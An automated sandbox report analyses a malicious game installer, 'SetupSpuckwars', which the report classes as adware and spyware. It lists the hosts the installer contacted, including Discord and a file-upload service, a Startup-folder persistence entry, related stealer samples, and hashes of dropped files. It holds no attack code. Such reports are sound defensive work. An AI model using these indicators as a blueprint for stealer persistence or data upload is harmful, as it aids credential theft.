                          https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrlzh-CN.pak.0.dr, fr.pak.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://anglebug.com/5375libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://anglebug.com/3246allowClearForRobustResourceInitSomelibGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://anglebug.com/5371libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://anglebug.com/3997libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://anglebug.com/4722libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://crbug.com/642605libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebCspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                          • 0%, Virustotal, Browse
                          • Avira URL Cloud: safe
                          		unknown
                          https://public.dns.iij.jp/dns-queryspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://anglebug.com/1452libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          http://anglebug.com/7556libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://chrome.google.com/webstore?hl=frRaccourcifr.pak.0.drfalse
                            		high
                            https://chrome.google.com/webstore?hl=zh-CNzh-CN.pak.0.drfalse
                              		high
                              https://alekberg.net/privacyspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              https://crbug.com/650547callClearTwiceUsinglibGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              		unknown
                              http://anglebug.com/6692libGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              http://anglebug.com/3502libGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              http://anglebug.com/3623libGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              http://anglebug.com/3625libGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              http://anglebug.com/3624libGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              https://chromium.dns.nextdns.iospuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://anglebug.com/5007libGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              http://crbug.com/1181068libGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              http://anglebug.com/2894libGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              http://anglebug.com/3862libGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              		unknown
                              https://dns.google/dns-queryspuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              http://anglebug.com/4836libGLESv2.dll.0.drfalse
                              • URL Reputation: safe
                              		unknown
                              https://issuetracker.google.com/issues/166475273libGLESv2.dll.0.drfalse
                                		high
                                https://passwords.google.comComptefr.pak.0.drfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://int3.de/elevate.exe.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/Cloudflarespuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                                  		high
                                  http://anglebug.com/4384libGLESv2.dll.0.drfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  		unknown
                                  http://anglebug.com/7036FrontendlibGLESv2.dll.0.drfalse
                                  • 0%, Virustotal, Browse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://chrome-devtools-frontend.appspot.com/spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  https://anglebug.com/7246enableCaptureLimitsSetlibGLESv2.dll.0.drfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://anglebug.com/3970libGLESv2.dll.0.drfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://anglebug.com/4267libGLESv2.dll.0.drfalse
                                  • URL Reputation: safe
                                  		unknown
                                  https://chromeenterprise.google/policies/#BrowserSwitcherUrlListzh-CN.pak.0.dr, fr.pak.0.drfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  		unknown
                                  https://policies.google.com/zh-CN.pak.0.dr, fr.pak.0.drfalse
                                    		high
                                    http://crbug.com/1181193libGLESv2.dll.0.drfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://anglebug.com/482libGLESv2.dll.0.drfalse
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    		unknown
                                    http://anglebug.com/3045libGLESv2.dll.0.drfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://anglebug.com/7604libGLESv2.dll.0.drfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://odvr.nic.cz/dohspuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                                      		high
                                      https://chrome.google.com/webstore/category/extensionszh-CN.pak.0.dr, fr.pak.0.drfalse
                                        		high
                                        http://crbug.com/308366libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/5901libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/3965libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/6439libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/7406libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/7527libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://anglebug.com/7161libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/5469libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://www.quad9.net/home/privacy/spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://anglebug.com/7162libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/3729libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://doh.cleanbrowsing.org/doh/adult-filterspuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown

                                        World Map of Contacted IPs

                                        • No. of IPs < 25%
                                        • 25% < No. of IPs < 50%
                                        • 50% < No. of IPs < 75%
                                        • 75% < No. of IPs

                                        Public IPs

                                        IPDomainCountryFlagASNASN NameMalicious
                                        35.247.106.28
                                        		e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.devUnited States
                                        		15169GOOGLEUSfalse
                                        162.159.61.3
                                        		unknownUnited States
                                        		13335CLOUDFLARENETUSfalse
                                        162.159.128.233
                                        		ptb.discord.comUnited States
                                        		13335CLOUDFLARENETUSfalse
                                        172.64.41.3
                                        		chrome.cloudflare-dns.comUnited States
                                        		13335CLOUDFLARENETUSfalse
                                        51.38.43.18
                                        		api.gofile.ioFrance
                                        		16276OVHFRfalse

                                        General Information

                                        Joe Sandbox version:40.0.0 Tourmaline
                                        Analysis ID:1423647
                                        Start date and time:2024-04-10 08:37:42 +02:00
                                        Joe Sandbox product:CloudBasic
                                        Overall analysis duration:0h 10m 4s
                                        Hypervisor based Inspection enabled:false
                                        Report type:full
                                        Cookbook file name:default.jbs
                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                        Run name:Run with higher sleep bypass
                                        Number of analysed new started processes analysed:30
                                        Number of new started drivers analysed:0
                                        Number of existing processes analysed:0
                                        Number of existing drivers analysed:0
                                        Number of injected processes analysed:0
                                        Technologies:
                                        • HCA enabled
                                        • EGA enabled
                                        • AMSI enabled
                                        Analysis Mode:default
                                        Analysis stop reason:Timeout
                                        Sample name:SetupSpuckwars_1.15.5.exe
                                        Detection:MAL
                                        Classification:mal52.adwa.spyw.winEXE@38/112@8/5
                                        EGA Information:Failed
                                        HCA Information:
                                        • Successful, ratio: 100%
                                        • Number of executed functions: 0
                                        • Number of non-executed functions: 0
                                        Cookbook Comments:
                                        • Found application associated with file extension: .exe
                                        • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                        Warnings

                                        • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
                                        • Excluded IPs from analysis (whitelisted): 142.251.16.94, 142.251.167.94
                                        • Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
                                        • Not all processes where analyzed, report is missing behavior information
                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                        • Report size getting too big, too many NtQueryVolumeInformationFile calls found.

                                        Simulations

                                        Behavior and APIs

                                        TimeTypeDescription
                                        08:39:40AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe

                                        Joe Sandbox View / Context

                                        IPs

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        162.159.61.3SenPalia Installer.exeGet hashmaliciousUnknownBrowse
                                          SenPalia Installer.exeGet hashmaliciousUnknownBrowse
                                            http://woollamau.comGet hashmaliciousUnknownBrowse
                                              O28gzBGj5H.svgGet hashmaliciousUnknownBrowse
                                                Quarantined Messages.zipGet hashmaliciousUnknownBrowse
                                                  JG822Ei50X.exeGet hashmaliciousNeshtaBrowse
                                                    Default Game.exeGet hashmaliciousUnknownBrowse
                                                      Sky-Beta.exeGet hashmaliciousUnknownBrowse
                                                        Sky-Beta.exeGet hashmaliciousUnknownBrowse
                                                          162.159.128.233file.exeGet hashmaliciousLummaC, Glupteba, PureLog Stealer, RisePro Stealer, SmokeLoader, Stealc, zgRATBrowse
                                                          • discord.com/phpMyAdmin/
                                                          172.64.41.3SenPalia Installer.exeGet hashmaliciousUnknownBrowse
                                                            http://woollamau.comGet hashmaliciousUnknownBrowse
                                                              http://woollamau.comGet hashmaliciousUnknownBrowse
                                                                O28gzBGj5H.svgGet hashmaliciousUnknownBrowse
                                                                  http://6.imimg.com/data6/Rfq/2024/3/404696953/HX/AW/IV/217882449/square-breathing-pdf.pdfGet hashmaliciousUnknownBrowse
                                                                    reolink_setup_8156.exeGet hashmaliciousUnknownBrowse
                                                                      JG822Ei50X.exeGet hashmaliciousNeshtaBrowse
                                                                        https://sites.google.com/view/investor-deck/Get hashmaliciousHTMLPhisherBrowse
                                                                          MariyelTherapy_Setup.exeGet hashmaliciousUnknownBrowse
                                                                            GauntletVPN1.4.0.exeGet hashmaliciousUnknownBrowse
                                                                              51.38.43.18Mauqes.exeGet hashmaliciousNovaSentinelBrowse
                                                                                Mauqes.exeGet hashmaliciousNovaSentinelBrowse
                                                                                  SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                    Mauqes.exeGet hashmaliciousNovaSentinelBrowse
                                                                                      Mauqes.exeGet hashmaliciousUnknownBrowse
                                                                                        SecuriteInfo.com.FileRepMalware.5539.23420.exeGet hashmaliciousUnknownBrowse
                                                                                          SecuriteInfo.com.MacOS.ReverseShell-C.28203.22681.exeGet hashmaliciousPython Stealer, Creal StealerBrowse
                                                                                            e.exeGet hashmaliciousUnknownBrowse
                                                                                              e.exeGet hashmaliciousUnknownBrowse

                                                                                                Domains

                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                api.gofile.ioGauntletVPN1.4.0.exeGet hashmaliciousUnknownBrowse
                                                                                                • 151.80.29.83
                                                                                                SecuriteInfo.com.Trojan.PWS.Siggen3.25256.942.20710.exeGet hashmaliciousExela Stealer, XmrigBrowse
                                                                                                • 151.80.29.83
                                                                                                TeaiGames.exeGet hashmaliciousNovaSentinelBrowse
                                                                                                • 151.80.29.83
                                                                                                Mauqes.exeGet hashmaliciousNovaSentinelBrowse
                                                                                                • 51.178.66.33
                                                                                                Mauqes.exeGet hashmaliciousNovaSentinelBrowse
                                                                                                • 51.38.43.18
                                                                                                SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                                • 151.80.29.83
                                                                                                SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                                • 51.38.43.18
                                                                                                Mauqes.exeGet hashmaliciousNovaSentinelBrowse
                                                                                                • 51.38.43.18
                                                                                                Mauqes.exeGet hashmaliciousUnknownBrowse
                                                                                                • 51.38.43.18
                                                                                                chrome.cloudflare-dns.comSenPalia Installer.exeGet hashmaliciousUnknownBrowse
                                                                                                • 172.64.41.3
                                                                                                SenPalia Installer.exeGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.61.3
                                                                                                http://woollamau.comGet hashmaliciousUnknownBrowse
                                                                                                • 172.64.41.3
                                                                                                http://woollamau.comGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.61.3
                                                                                                O28gzBGj5H.svgGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.61.3
                                                                                                http://6.imimg.com/data6/Rfq/2024/3/404696953/HX/AW/IV/217882449/square-breathing-pdf.pdfGet hashmaliciousUnknownBrowse
                                                                                                • 172.64.41.3
                                                                                                Setup (1).exeGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.61.3
                                                                                                reolink_setup_8156.exeGet hashmaliciousUnknownBrowse
                                                                                                • 172.64.41.3
                                                                                                JG822Ei50X.exeGet hashmaliciousNeshtaBrowse
                                                                                                • 162.159.61.3
                                                                                                discord.comJv7Z27rOoW.exeGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.138.232
                                                                                                Jv7Z27rOoW.exeGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.136.232
                                                                                                FH4GDGD.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                • 162.159.128.233
                                                                                                GauntletVPN1.4.0.exeGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.128.233
                                                                                                b52ah8YEGS.exeGet hashmaliciousBlank Grabber, DCRat, Umbral StealerBrowse
                                                                                                • 162.159.128.233
                                                                                                SecuriteInfo.com.Trojan.PWS.Siggen3.25256.942.20710.exeGet hashmaliciousExela Stealer, XmrigBrowse
                                                                                                • 162.159.136.232
                                                                                                https://airdrop-online-altlayer-anniversary.s3.us-east-2.amazonaws.com/posten.html?cid=freetomfr@hotmail.comGet hashmaliciousPhisherBrowse
                                                                                                • 162.159.138.232
                                                                                                SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.137.232
                                                                                                SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.128.233
                                                                                                ptb.discord.comKzqQe0QtRd.exeGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.137.232
                                                                                                PAP46E1UkZ.exeGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.128.233
                                                                                                A4AxThCBqS.exeGet hashmaliciousNanocore, Luna Logger, Umbral StealerBrowse
                                                                                                • 162.159.136.232
                                                                                                SecuriteInfo.com.Variant.Jatif.7130.11703.17675.exeGet hashmaliciousCKS Stealer, Spark RATBrowse
                                                                                                • 162.159.137.232
                                                                                                SecuriteInfo.com.Variant.Jatif.7130.11703.17675.exeGet hashmaliciousCKS Stealer, Spark RATBrowse
                                                                                                • 162.159.138.232
                                                                                                Lunar_Builder.exeGet hashmaliciousItroublveBOT StealerBrowse
                                                                                                • 162.159.138.232
                                                                                                v5u7AiCLzw.exeGet hashmaliciousNitroRansomwareBrowse
                                                                                                • 162.159.138.232
                                                                                                NPHzyKe1zJ.exeGet hashmaliciousNitroRansomwareBrowse
                                                                                                • 162.159.137.232
                                                                                                ONtIB38CQZ.exeGet hashmaliciousUnknownBrowse
                                                                                                • 162.159.128.233

                                                                                                ASNs

                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                CLOUDFLARENETUShttps://www.wonderlandmagazine.com/2022/02/10/kate-clover-documentary/Get hashmaliciousUnknownBrowse
                                                                                                • 1.1.1.1
                                                                                                Payment_Advice.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                • 172.67.74.152
                                                                                                Quotation[MPI-240401.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                • 104.26.13.205
                                                                                                vGDqFBB1Jz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                • 172.67.75.166
                                                                                                http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=clickme.thryv.com/ls/click?upn=u001.zNsZ6DgZGUlz4SyL2q0KgfvLUZd1vxrIdCMo5dY5qCEyeaGmNINChKOlELp3fRT1rsLBxEJdRXYvy6S-2BGEY7uicd3tbSMV5oJVhczVlIJxNtA-2BurH4j6WXNUMDWH8Xtyor4mjkn1VIVtPJTCW3IlMRG3a4MIeGKbPJD2WFpltpzviF50nMF1DDbgC9X6S9w9Hlc1oLQOQrL-2F5NOag02nHzFb0iLScFwtYhl7ivMYLz0-3DlYp0_JVAtn8RK-2FYGAFwojudbatEe6kKijRrOmSDoK71rQZxdvCfQSeCo-2BRBdkQ5VWb782IaijolxlNh8UaJUpVC3oTrBWLQ0nDIwqRnMGXEH-2FVvabEpl0ypWmwFSXmHQXgR2OtjYxsjQq8JqnCS0xJ6x5Hw2KTEpFQlfF7UILlGxlM8XnIewK-2FaJufFXkpj77DIQAUJIbbgxdsd6A82g6UCqhJrLxeAFCIG7p5DQ3gDp3jrTu2g01Y1dJ78akz0sR2ouRL8yC2fH0p3U5mmt7xctz27iCjzyIwMztlvkJaOc0tsUXBISBrbO3CkhbRwyYHpkDtiv91MtbaUTYJ4SSBMc4tw4DQdyflUkkcsGLNoBKOnZYoBecXCGDUCOXb8bLi9mYrh-2F2YZwAXwNbq-2BqqypetrxX-2BFRmar-2F5nHTrF20p1pew-3D#a3Jvc3NAbW9udGFnZWdvbGRjb3JwLmNvbQ==Get hashmaliciousUnknownBrowse
                                                                                                • 104.17.2.184
                                                                                                SecuriteInfo.com.Win32.PWSX-gen.8396.18973.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                • 172.67.74.152
                                                                                                iKV7MCWDJF.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                • 104.26.4.15
                                                                                                https://turtledownunder.com.au/Get hashmaliciousUnknownBrowse
                                                                                                • 104.21.47.239
                                                                                                8TFD6H44Pz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                • 172.67.75.166
                                                                                                CLOUDFLARENETUShttps://www.wonderlandmagazine.com/2022/02/10/kate-clover-documentary/Get hashmaliciousUnknownBrowse
                                                                                                • 1.1.1.1
                                                                                                Payment_Advice.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                • 172.67.74.152
                                                                                                Quotation[MPI-240401.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                • 104.26.13.205
                                                                                                vGDqFBB1Jz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                • 172.67.75.166
                                                                                                http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=clickme.thryv.com/ls/click?upn=u001.zNsZ6DgZGUlz4SyL2q0KgfvLUZd1vxrIdCMo5dY5qCEyeaGmNINChKOlELp3fRT1rsLBxEJdRXYvy6S-2BGEY7uicd3tbSMV5oJVhczVlIJxNtA-2BurH4j6WXNUMDWH8Xtyor4mjkn1VIVtPJTCW3IlMRG3a4MIeGKbPJD2WFpltpzviF50nMF1DDbgC9X6S9w9Hlc1oLQOQrL-2F5NOag02nHzFb0iLScFwtYhl7ivMYLz0-3DlYp0_JVAtn8RK-2FYGAFwojudbatEe6kKijRrOmSDoK71rQZxdvCfQSeCo-2BRBdkQ5VWb782IaijolxlNh8UaJUpVC3oTrBWLQ0nDIwqRnMGXEH-2FVvabEpl0ypWmwFSXmHQXgR2OtjYxsjQq8JqnCS0xJ6x5Hw2KTEpFQlfF7UILlGxlM8XnIewK-2FaJufFXkpj77DIQAUJIbbgxdsd6A82g6UCqhJrLxeAFCIG7p5DQ3gDp3jrTu2g01Y1dJ78akz0sR2ouRL8yC2fH0p3U5mmt7xctz27iCjzyIwMztlvkJaOc0tsUXBISBrbO3CkhbRwyYHpkDtiv91MtbaUTYJ4SSBMc4tw4DQdyflUkkcsGLNoBKOnZYoBecXCGDUCOXb8bLi9mYrh-2F2YZwAXwNbq-2BqqypetrxX-2BFRmar-2F5nHTrF20p1pew-3D#a3Jvc3NAbW9udGFnZWdvbGRjb3JwLmNvbQ==Get hashmaliciousUnknownBrowse
                                                                                                • 104.17.2.184
                                                                                                SecuriteInfo.com.Win32.PWSX-gen.8396.18973.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                • 172.67.74.152
                                                                                                iKV7MCWDJF.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                • 104.26.4.15
                                                                                                https://turtledownunder.com.au/Get hashmaliciousUnknownBrowse
                                                                                                • 104.21.47.239
                                                                                                8TFD6H44Pz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                • 172.67.75.166
                                                                                                OVHFRhttps://invisiblepeople.tv/stories-from-homeless-people/Get hashmaliciousUnknownBrowse
                                                                                                • 51.222.241.100
                                                                                                https://euet-ss.xyz/Login/register/Lang/en-usGet hashmaliciousUnknownBrowse
                                                                                                • 51.222.244.150
                                                                                                p2GrGlDHjw.elfGet hashmaliciousKaijiBrowse
                                                                                                • 51.81.138.208
                                                                                                mJWouOfZLy.elfGet hashmaliciousKaijiBrowse
                                                                                                • 51.81.138.208
                                                                                                OUcCqCsimA.elfGet hashmaliciousKaijiBrowse
                                                                                                • 51.81.138.208
                                                                                                https://www.vauban-recrutement.fr/blog/emplois/transaction-manager-h-f/Get hashmaliciousUnknownBrowse
                                                                                                • 51.210.38.0
                                                                                                ZcDEk7Z0aN.elfGet hashmaliciousKaijiBrowse
                                                                                                • 51.81.138.208
                                                                                                i4DmPX5XGz.elfGet hashmaliciousKaijiBrowse
                                                                                                • 51.81.138.208
                                                                                                na5Qc6FhRH.elfGet hashmaliciousKaijiBrowse
                                                                                                • 51.81.138.208
                                                                                                CLOUDFLARENETUShttps://www.wonderlandmagazine.com/2022/02/10/kate-clover-documentary/Get hashmaliciousUnknownBrowse
                                                                                                • 1.1.1.1
                                                                                                Payment_Advice.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                • 172.67.74.152
                                                                                                Quotation[MPI-240401.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                • 104.26.13.205
                                                                                                vGDqFBB1Jz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                • 172.67.75.166
                                                                                                http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=clickme.thryv.com/ls/click?upn=u001.zNsZ6DgZGUlz4SyL2q0KgfvLUZd1vxrIdCMo5dY5qCEyeaGmNINChKOlELp3fRT1rsLBxEJdRXYvy6S-2BGEY7uicd3tbSMV5oJVhczVlIJxNtA-2BurH4j6WXNUMDWH8Xtyor4mjkn1VIVtPJTCW3IlMRG3a4MIeGKbPJD2WFpltpzviF50nMF1DDbgC9X6S9w9Hlc1oLQOQrL-2F5NOag02nHzFb0iLScFwtYhl7ivMYLz0-3DlYp0_JVAtn8RK-2FYGAFwojudbatEe6kKijRrOmSDoK71rQZxdvCfQSeCo-2BRBdkQ5VWb782IaijolxlNh8UaJUpVC3oTrBWLQ0nDIwqRnMGXEH-2FVvabEpl0ypWmwFSXmHQXgR2OtjYxsjQq8JqnCS0xJ6x5Hw2KTEpFQlfF7UILlGxlM8XnIewK-2FaJufFXkpj77DIQAUJIbbgxdsd6A82g6UCqhJrLxeAFCIG7p5DQ3gDp3jrTu2g01Y1dJ78akz0sR2ouRL8yC2fH0p3U5mmt7xctz27iCjzyIwMztlvkJaOc0tsUXBISBrbO3CkhbRwyYHpkDtiv91MtbaUTYJ4SSBMc4tw4DQdyflUkkcsGLNoBKOnZYoBecXCGDUCOXb8bLi9mYrh-2F2YZwAXwNbq-2BqqypetrxX-2BFRmar-2F5nHTrF20p1pew-3D#a3Jvc3NAbW9udGFnZWdvbGRjb3JwLmNvbQ==Get hashmaliciousUnknownBrowse
                                                                                                • 104.17.2.184
                                                                                                SecuriteInfo.com.Win32.PWSX-gen.8396.18973.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                • 172.67.74.152
                                                                                                iKV7MCWDJF.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                • 104.26.4.15
                                                                                                https://turtledownunder.com.au/Get hashmaliciousUnknownBrowse
                                                                                                • 104.21.47.239
                                                                                                8TFD6H44Pz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                                • 172.67.75.166

                                                                                                JA3 Fingerprints

                                                                                                ⊘No context

                                                                                                Dropped Files

                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                C:\Users\user\AppData\Local\Temp\0b804954-c12d-4b4a-b2c0-33a436a4bcce.tmp.nodeSky-Beta.exeGet hashmaliciousUnknownBrowse
                                                                                                  Sky-Beta.exeGet hashmaliciousUnknownBrowse
                                                                                                    GauntletVPN1.4.0.exeGet hashmaliciousUnknownBrowse
                                                                                                      GauntletVPN1.4.0.exeGet hashmaliciousUnknownBrowse
                                                                                                        Sky-Beta-Setup.exeGet hashmaliciousStealitBrowse
                                                                                                          Sky-Beta-Setup.exeGet hashmaliciousStealitBrowse
                                                                                                            ArenaWarSetup.exeGet hashmaliciousStealitBrowse
                                                                                                              Hellevator.exeGet hashmaliciousStealitBrowse
                                                                                                                Hellevator.exeGet hashmaliciousStealitBrowse

                                                                                                                  Created / dropped Files

                                                                                                                  C:\Users\user\AppData\Local\D3DSCache\becdc9f3c6abc6d1\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):65552
                                                                                                                  Entropy (8bit):0.01261857931136298
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:TPCNlGlll/l/lXp9ZjrPBY0Qlalltlw5XllZP:Dy0dPBY0wa/A5XJ
                                                                                                                  MD5:4EBCF07AE0CA046CBBCEFA3FB7505F9E
                                                                                                                  SHA1:95823BC63D8F914DFF4F83F54BE5F73926F30D3E
                                                                                                                  SHA-256:D9757ABB1010B9D4501691A81A6B01EF2AB01F41BCA422CFC59BB029726086D2
                                                                                                                  SHA-512:C4A9B1DEA1928F6E1BBD894975CB4DB92236EA0ED8827884EA9DF3A638A074C03906904492B1A91C681445288F70ECB6160387414FF69E7936AF0676A0A6E428
                                                                                                                  Malicious:false
                                                                                                                  Preview:.#j'........................................f...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                  C:\Users\user\AppData\Local\D3DSCache\becdc9f3c6abc6d1\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe
                                                                                                                  File Type:ASCII text, with no line terminators
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):4
                                                                                                                  Entropy (8bit):1.5
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3:R:R
                                                                                                                  MD5:F49655F856ACB8884CC0ACE29216F511
